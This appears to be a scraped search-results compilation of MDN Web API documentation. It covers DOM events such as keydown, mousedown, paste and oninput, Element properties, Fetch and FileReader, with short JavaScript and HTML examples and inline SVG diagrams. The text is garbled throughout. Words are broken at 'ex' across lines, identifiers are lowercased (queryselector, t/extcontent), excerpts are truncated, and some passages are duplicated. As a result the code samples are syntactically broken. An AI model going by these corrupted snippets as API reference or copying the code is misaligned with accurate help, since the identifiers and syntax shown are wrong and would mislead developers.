ext"] { margin: .5rem 0; } kbd { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="t
ext"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.t
extcontent = ''; }); function handleevent(event) { log.t
extcontent = log.t
extcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate',...
Element.currentStyle - Web APIs
it is available in old versions of microsoft internet
explorer.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcurrentstyle non-standardchrome no support noedge no support nofirefox no support noie full support 6oper...
...
expect poor cross-browser support.non-standard.
...
expect poor cross-browser support.
Element.getAttribute() - Web APIs
if the given attribute does not
exist, the value returned will either be null or "" (the empty string); see non-
existing attributes for details.
...
examples const div1 = document.getelementbyid('div1'); const align = div1.getattribute('align'); alert(align); // shows the value of align for the element with id="div1" description lower casing when called on an html element in a dom flagged as an html document, getattribute() lower-cases its argument before proceeding.
... non-
existing attributes essentially all web browsers (firefox, internet
explorer, recent versions of opera, safari, konqueror, and icab, as a non-
exhaustive list) return null when the specified attribute does not
exist on the specified element; this is what the current dom specification draft specifies.
...consequently, you should use element.hasattribute() to check for an attribute's
existence prior to calling getattribute() if it is possible that the requested attribute does not
exist on the specified element.
Element.getBoundingClientRect() - Web APIs
cross-browser fallback scripts requiring high cross-browser compatibility can use window.pag
exoffset and window.pageyoffset instead of window.scrollx and window.scrolly.
...t : document.body).scrolltop
examples this simple
example retrieves the domrect object representing the bounding client rect of a simple <div> element, and prints out its properties below it.
... <div></div> div { width: 400px; height: 200px; padding: 20px; margin: 50px auto; background: purple; } let elem = document.queryselector('div'); let rect = elem.getboundingclientrect(); for (var key in rect) { if(typeof rect[key] !== 'function') { let para = document.createelement('p'); para.t
extcontent = `${ key } : ${ rect[key] }`; document.body.appendchild(para); } } notice how the width/height are equal to the equal to its width/height + padding.
...moreover, and un
expectedly, the es2015 and newer features such as object.assign() and object rest/spread will fail to copy returned properties.
Element: keydown event - Web APIs
for
example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... keyboard events are only generated by <inputs>, <t
extarea> and anything with the contenteditable attribute or with tabind
ex="-1".
...to ignore all keydown events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keydown", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something });
examples addeventlistener keydown
example this
example logs the keyboardevent.code value whenever you press down a key inside the <input> element.
... <input placeholder="click here, then press down a key." size="40"> <p id="log"></p> const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('keydown', logkey); function logkey(e) { log.t
extcontent += ` ${e.code}`; } onkeydown equivalent input.onkeydown = logkey; specifications specification status ui events working draft ...
Element: keypress event - Web APIs
examples of keys that produce a character value are alphabetic, numeric, and punctuation keys.
...
examples of keys that don't produce a character value are modifier keys such as alt, shift, ctrl, or meta.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch t
ext composition system; blur and focus events; domactivate event; other event
examples addeventlistener keypress
example this
example logs the keyboardevent.code value whenever you press a key after focussing the <input> element.
... <div> <label for="sample">focus the input and type something:</label> <input type="t
ext" name="t
ext" id="sample"> </div> <p id="log"></p> const log = document.getelementbyid('log'); const input = document.queryselector('input'); input.addeventlistener('keypress', logkey); function logkey(e) { log.t
extcontent += ` ${e.code}`; } onkeypress equivalent input.onkeypress = logkey; specifications specification status ui events working draft ...
Element: mousedown event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onmousedown
examples the following
example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
... when the page loads, constants mypics and cont
ext are created to store a reference to the canvas and the 2d cont
ext we will use to draw.
... html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const cont
ext = mypics.getcont
ext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
... // add the event listeners for mousedown, mousemove, and mouseup mypics.addeventlistener('mousedown', e => { x = e.offsetx; y = e.offsety; isdrawing = true; }); mypics.addeventlistener('mousemove', e => { if (isdrawing === true) { drawline(cont
ext, x, y, e.offsetx, e.offsety); x = e.offsetx; y = e.offsety; } }); window.addeventlistener('mouseup', e => { if (isdrawing === true) { drawline(cont
ext, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(cont
ext, x1, y1, x2, y2) { cont
ext.beginpath(); cont
ext.strokestyle = 'black'; cont
ext.linewidth = 1; cont
ext.moveto(x1, y1); cont
ext.lineto(x2, y2); cont
ext.stroke(); cont
ext.closepath(); } result specifications specification status ...
Element: mousemove event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onmousemove
examples the following
example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
... when the page loads, constants mypics and cont
ext are created to store a reference to the canvas and the 2d cont
ext we will use to draw.
... html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const cont
ext = mypics.getcont
ext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
... // add the event listeners for mousedown, mousemove, and mouseup mypics.addeventlistener('mousedown', e => { x = e.offsetx; y = e.offsety; isdrawing = true; }); mypics.addeventlistener('mousemove', e => { if (isdrawing === true) { drawline(cont
ext, x, y, e.offsetx, e.offsety); x = e.offsetx; y = e.offsety; } }); window.addeventlistener('mouseup', e => { if (isdrawing === true) { drawline(cont
ext, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(cont
ext, x1, y1, x2, y2) { cont
ext.beginpath(); cont
ext.strokestyle = 'black'; cont
ext.linewidth = 1; cont
ext.moveto(x1, y1); cont
ext.lineto(x2, y2); cont
ext.stroke(); cont
ext.closepath(); } result specifications specification status ...
Element: mouseout event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onmouseout
examples the following
examples show the use of the mouseout event.
... mouseout and mouseleave the following
example illustrates the difference between mouseout and mouseleave events.
... the mouseleave event is added to the <ul> to color the list purple whenever the mouse
exits the <ul>.
... mouseout is added to the list to color the targeted element orange when the mouse
exits it.
Element: mouseup event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onmouseup
examples the following
example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
... when the page loads, constants mypics and cont
ext are created to store a reference to the canvas and the 2d cont
ext we will use to draw.
... html <h1>drawing with mouse events</h1> <canvas id="mypics" width="560" height="360"></canvas> css canvas { border: 1px solid black; width: 560px; height: 360px; } javascript // when true, moving the mouse draws on the canvas let isdrawing = false; let x = 0; let y = 0; const mypics = document.getelementbyid('mypics'); const cont
ext = mypics.getcont
ext('2d'); // event.offsetx, event.offsety gives the (x,y) offset from the edge of the canvas.
... // add the event listeners for mousedown, mousemove, and mouseup mypics.addeventlistener('mousedown', e => { x = e.offsetx; y = e.offsety; isdrawing = true; }); mypics.addeventlistener('mousemove', e => { if (isdrawing === true) { drawline(cont
ext, x, y, e.offsetx, e.offsety); x = e.offsetx; y = e.offsety; } }); window.addeventlistener('mouseup', e => { if (isdrawing === true) { drawline(cont
ext, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(cont
ext, x1, y1, x2, y2) { cont
ext.beginpath(); cont
ext.strokestyle = 'black'; cont
ext.linewidth = 1; cont
ext.moveto(x1, y1); cont
ext.lineto(x2, y2); cont
ext.stroke(); cont
ext.closepath(); } result specifications specification status ...
Element.outerHTML - Web APIs
exceptions syntaxerror an attempt was made to set outerhtml using an html string which is not valid.
...
examples getting the value of an element's outerhtml property: html <div id="d"> <p>content</p> <p>further elaborated</p> </div> javascript var d = document.getelementbyid("d"); console.log(d.outerhtml); // the string '<div id="d"><p>content</p><p>further elaborated</p></div>' // is written to the console window replacing a node by setting the outerhtml property: html <div id="container"> <div id="d">this is a div.</div> </div> javascript var container = document.getelementbyid("container"); var d = document.getelementbyid("d"); console.log(container.firstchild.nodename); // logs "div" d.outerhtml = "<p>this paragraph ...
...many browsers will also throw an
exception.
... for
example: var div = document.createelement("div"); div.outerhtml = "<div class=\"test\">test</div>"; console.log(div.outerhtml); // output: "<div></div>" also, while the element will be replaced in the document, the variable whose outerhtml property was set will still hold a reference to the original element: var p = document.getelementsbytagname("p")[0]; console.log(p.nodename); // shows: "p" p.outerhtml = "<div>this div replaced a paragraph.</div>"; console.log(p.nodename); // still "p"; the returned value will contain html escaped attributes: var anc = document.createelement("a"); anc.href = "https://developer.mozilla.org?a=b&c=d"; console.log(anc.outerhtml); // output: "<a href='https://developer.mozilla.org?a=b&c=d'></a>" specification specification status ...
Element: paste event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable cont
ext (for
example, in a <t
extarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position.
... to override the default behavior (for
example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
...
examples live
example html <div class="source" contenteditable="true">try copying t
ext from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('t
ext'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocume...
...nt(); selection.getrangeat(0).insertnode(document.createt
extnode(paste)); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.setCapture() - Web APIs
example in this
example, the current mouse coordinates are drawn while you mouse around after clicking and holding down on an element.
... <html> <head> <title>mouse capture
example</title> <style type="t
ext/css"> #mybutton { border: solid black 1px; color: black; padding: 2px; box-shadow: black 2px 2px; } </style> <script type="t
ext/javascript"> function init() { var btn = document.getelementbyid("mybutton"); if (btn.setcapture) { btn.addeventlistener("mousedown", mousedown, false); btn.addeventlistener("mouseup", mouseup, false); } else { document.getelementbyid("output").innerhtml = "sorry, there appears to be no setcapture support on this browser"; } } function mousedown(e) { e.target.setcapture(); e.target.addeventlistener("mousemove", mousemoved, false); } function mouseup(e) { e.tar...
...get.removeeventlistener("mousemove", mousemoved, false); } function mousemoved(e) { var output = document.getelementbyid("output"); output.innerhtml = "position: " + e.clientx + ", " + e.clienty; } </script> </head> <body onload="init()"> <p>this is an
example of how to use mouse capture on elements in gecko 2.0.</p> <p><a id="mybutton" href="#">test me</a></p> <div id="output">no events yet</div> </body> </html> view live
examples notes the element may not be scrolled completely to the top or bottom, depending on the layout of other elements.
... specification based on internet
explorer's implementation.
Element.shadowRoot - Web APIs
use element.attachshadow() to add a shadow root to an
existing element.
...
examples the following snippets are taken from our life-cycle-callbacks
example (see it live also), which creates an element that displays a square of a size and color specified in the element's attributes.
... inside the <custom-square> element's class definition we include some life cycle callbacks that make a call to an
external function, updatestyle(), which actually applies the size and color to the element.
...from here we use standard dom traversal techniques to find the <style> element inside the shadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; const childnodes = array.from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.t
extcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; background-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
Event.composed - Web APIs
for
example, this includes synthetic events that are created without their composed option wil set to true.
...
examples in our composed-composed-path
example (see it live), we define two trivial custom elements, <open-shadow> and <closed-shadow>, both of which take the contents of their t
ext attribute and insert them into the element's shadow dom as the t
ext content of a <p> element.
... the first definition looks like this, for
example: customelements.define('open-shadow', class
extends htmlelement { constructor() { super(); let pelem = document.createelement('p'); pelem.t
extcontent = this.getattribute('t
ext'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(pelem); } }); we then insert one of each element into our page: <open-shadow t
ext="i have an open shadow root"></open-shadow> <closed-shadow t
ext="i have a closed shadow root"></closed-shadow> then include a click event listener on the <html> element: document.queryselector('html').addeventlistener('click',function(e) { conso...
... the <open-shadow> element's composed path is this: array [ p, shadowroot, open-shadow, body, html, htmldocument https://mdn.github.io/web-components-
examples/composed-composed-path/, window ] whereas the <closed-shadow> element's composed path is a follows: array [ closed-shadow, body, html, htmldocument https://mdn.github.io/web-components-
examples/composed-composed-path/, window ] in the second case, the event listeners only propagate as far as the <closed-shadow> element itself, but not to the nodes inside the shadow boundary.
Event.initEvent() - Web APIs
example // create the event.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitevent deprecatedchrome full support yesedge full support 12firefox full support 17 full support 17 ...
...— 17notes notes before firefox 17, a call to this method after the dispatching of the event raised an
exception instead of doing nothing.ie full support yesopera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support 17 full support 17 no support ?
... — 17notes notes before firefox 17, a call to this method after the dispatching of the event raised an
exception instead of doing nothing.opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full supportdeprecated.
EventTarget - Web APIs
for
example xmlhttprequest, audionode, audiocont
ext, and others.
...; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} constructor eventtarget() creates a new eventtarget object instance.
... additional methods in mozilla chrome codebase mozilla includes a couple of
extensions for use by js-implemented event targets to implement onevent properties.
... void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type)
example simple implementation of eventtarget var eventtarget = function() { this.listeners = {}; }; eventtarget.prototype.listeners = null; eventtarget.prototype.addeventlistener = function(type, callback) { if (!(type in this.listeners)) { this.listeners[type] = []; } this.listeners[type].push(callback); }; eventtarget.prototype.removeeventlistener = function(type, callback) { if (!(type in this.listeners)) { return; } var stack = this.listeners[type]; for (var i = 0, l = stack.length; i < l; i++) { if (stack[i] === callback){ stack.splice(i, 1); return; } } }; eventtarget.prototype.dispatchevent = fu...
FetchEvent.respondWith() - Web APIs
for
example, if an <img> initiates the request, the response body needs to be image data.
... this means, for
example, if a service worker intercepts a stylesheet or worker script, then the provided response.url will be used to resolve any relative @import or importscripts() subresource loads (bug 1222008).
...
exceptions
exception notes networkerror a network error is triggered on certain combinations of fetchevent.request.mode and response.type values, as hinted at in the "global rules" listed above.
...
examples this fetch event tries to return a response from the cache api, falling back to the network otherwise.
Fetch basic concepts - Web APIs
it will seem familiar to anyone who has used xmlhttprequest, but it provides a more powerful and fl
exible feature set.
... this article
explains some of the basic concepts of the fetch api.
...if you find a fetch concept that you feel needs
explaining better, let someone know on the mdn discussion forum, or mdn web docs room on matrix.
... service workers is an
example of an api that makes heavy use of fetch.
Fetch API - Web APIs
it will seem familiar to anyone who has used xmlhttprequest, but the new api provides a more powerful and fl
exible feature set.
...this makes it available in pretty much any cont
ext you might want to fetch resources in.
...instead, these are more likely to be created as results of other api actions (for
example, fetchevent.respondwith() from service workers).
... aborting a fetch browsers have started to add
experimental support for the abortcontroller and abortsignal interfaces (aka the abort api), which allow operations like fetch and xhr to be aborted if they have not already completed.
File.type - Web APIs
syntax var name = file.type; value a string, containing the media type(mime) indicating the type of the file, for
example "image/png" for png images
example <input type="file" multiple onchange="showtype(this)"> function showtype(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { var name = files[i].name; var type = files[i].type; alert("filename: " + name + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type.
... it is assumed based on the file
extension; a png image file renamed to .txt would give "t
ext/plain" and not "image/png".
...uncommon file
extensions would return an empty string.
... client configuration (for instance, the windows registry) may result in un
expected values even for common types.
FileReader.readAsDataURL() - Web APIs
example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string pre...
...view.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live result
example reading multiple files html <input id="browse" type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our
extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); ...
... }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet
explorer for versions before 10.
...see also this more powerful
example.
GlobalEventHandlers.ondragleave - Web APIs
example this
example demonstrates using the ondragleave attribute handler to set an element's dragleave event handler.
... <!doctype html> <html lang=en> <title>
examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setdata("t
ext", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(...
...ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("t
ext"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's background color back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
... var el=document.getelementbyid("target"); el.style.background = "pink"; } function drag
exit_handler(ev) { console.log("drag
exit"); // change the source element's background color back to green to signify a drag
exit event ev.currenttarget.style.background = "green"; } function init() { // set handlers for the source's enter/leave/end/
exit events var el=document.getelementbyid("source"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondrag
exit = drag
exit_handler; } </script> <body onload="init();"> <h1>
examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondrag
exit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this elem...
GlobalEventHandlers.onfocus - Web APIs
for onfocus to fire on non-input elements, they must be given the tabind
ex attribute (see building keyboard accessibility back in for more details).
... syntax target.onfocus = functionref; value functionref is a function name or a function
expression.
...
example this
example uses onblur and onfocus to change the t
ext within an <input> element.
... html <input type="t
ext" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its contents change accordingly.
GlobalEventHandlers.oninput - Web APIs
the oninput property of the globaleventhandlers mixin is an eventhandler that processes input events on the <input>, <select>, and <t
extarea> elements.
... syntax target.oninput = functionref; value functionref is a function name or a function
expression.
...
example this
example logs the number of characters in an <input> element, every time you modify its contents.
... html <input type="t
ext" placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.t
extcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
GlobalEventHandlers.oninvalid - Web APIs
syntax target.oninvalid = functionref; var functionref = target.oninvalid; value functionref is a function name or a function
expression.
...
example this
example demonstrates oninvalid and onsubmit event handlers on a form.
... html <form id="form"> <p id="error" hidden>please fill out all fields.</p> <label for="city">city</label> <input type="t
ext" id="city" required> <button type="submit">submit</button> </form> <p id="thanks" hidden>your data has been received.
...ment.getelementbyid('form'); const error = document.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this
example, don't actually submit the form event.preventdefault(); } result specification specification status comment html living standardthe definition of 'oninvalid' in that specification.
GlobalEventHandlers.onmousemove - Web APIs
syntax target.onmousemove = functionref; value functionref is a function name or a function
expression.
...
examples tooltips this
example creates link tooltips that follow your mouse.
... html <p><a href="#" data-tooltip="first link">see a tooltip here …</a></p> <p><a href="#" data-tooltip="second link">… or here!</a></p> css .tooltip { position: absolute; z-ind
ex: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show = function(event) { node.t
extcontent = event.target.dataset.tooltip; node.removeattribu...
...te('hidden'); }; this.hide = function() { node.setattribute('hidden', ''); }; })(); const links = document.queryselectorall('a'); links.foreach(link => { link.onmouseover = tooltip.show; link.onmousemove = tooltip.follow; link.onmouseout = tooltip.hide; }); result draggable elements we also have an
example available showing the use of the onmousemove event handler with draggable objects — view the
example in action.
GlobalEventHandlers.onpointerdown - Web APIs
example this
example demonstrates how to watch for and act upon pointerdown events using onpointerdown.
... we also have a handler for pointerup events: targetbox.onpointerup = handleup; function handleup(evt) { targetbox.innerhtml = "tap me, click me, or touch me!"; evt.preventdefault(); } this code's job is to just restore the original t
ext into the target box after the user's interaction with the element ends (for
example, when they release the mouse button, or when they lift the stylus or finger from the screen).
... html the html is
extremely simple: <div id="target"> tap me, click me, or touch me!
... #target { width: 400px; height: 30px; t
ext-align: center; font: 16px "open sans", "helvetica", sans-serif; color: white; background-color: blue; border: 2px solid darkblue; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } result the resulting output is shown below.
GlobalEventHandlers.onscroll - Web APIs
syntax target.onscroll = functionref value functionref a function name, or a function
expression.
... for greater fl
exibility, you can pass a scroll event to the eventtarget.addeventlistener() method instead.
...
example this
example monitors scrolling on a <t
extarea>, and logs the element's vertical scroll position accordingly.
... html <t
extarea>1 2 3 4 5 6 7 8 9</t
extarea> <p id="log"></p> css t
extarea { width: 4rem; height: 8rem; font-size: 3rem; } javascript const t
extarea = document.queryselector('t
extarea'); const log = document.getelementbyid('log'); t
extarea.onscroll = logscroll; function logscroll(e) { log.t
extcontent = `scroll position: ${e.target.scrolltop}`; } result specifications specification status comment html living standardthe definition of 'onscroll' in that specification.
GlobalEventHandlers.onselect - Web APIs
the select event only fires after t
ext inside an <input type="t
ext"> or <t
extarea> is selected.
... syntax target.onselect = functionref; value functionref is a function name or a function
expression.
...
examples this
example logs the t
ext you select inside a <t
extarea> element.
... html <t
extarea>try selecting some t
ext in this element.</t
extarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.t
extcontent = `you selected: ${selection}`; } const t
extarea = document.queryselector('t
extarea'); t
extarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification.
GlobalEventHandlers.onsubmit - Web APIs
syntax target.onsubmit = functionref; value functionref is a function name or a function
expression.
...
example this
example demonstrates oninvalid and onsubmit event handlers on a form.
... html <form id="form"> <p id="error" hidden>please fill out all fields.</p> <label for="city">city</label> <input type="t
ext" id="city" required> <button type="submit">submit</button> </form> <p id="thanks" hidden>your data has been received.
...ment.getelementbyid('form'); const error = document.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this
example, don't actually submit the form event.preventdefault(); } result specifications specification status comment html living standardthe definition of 'onsubmit' in that specification.
HTMLDListElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldlistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmldlistelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLDataElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
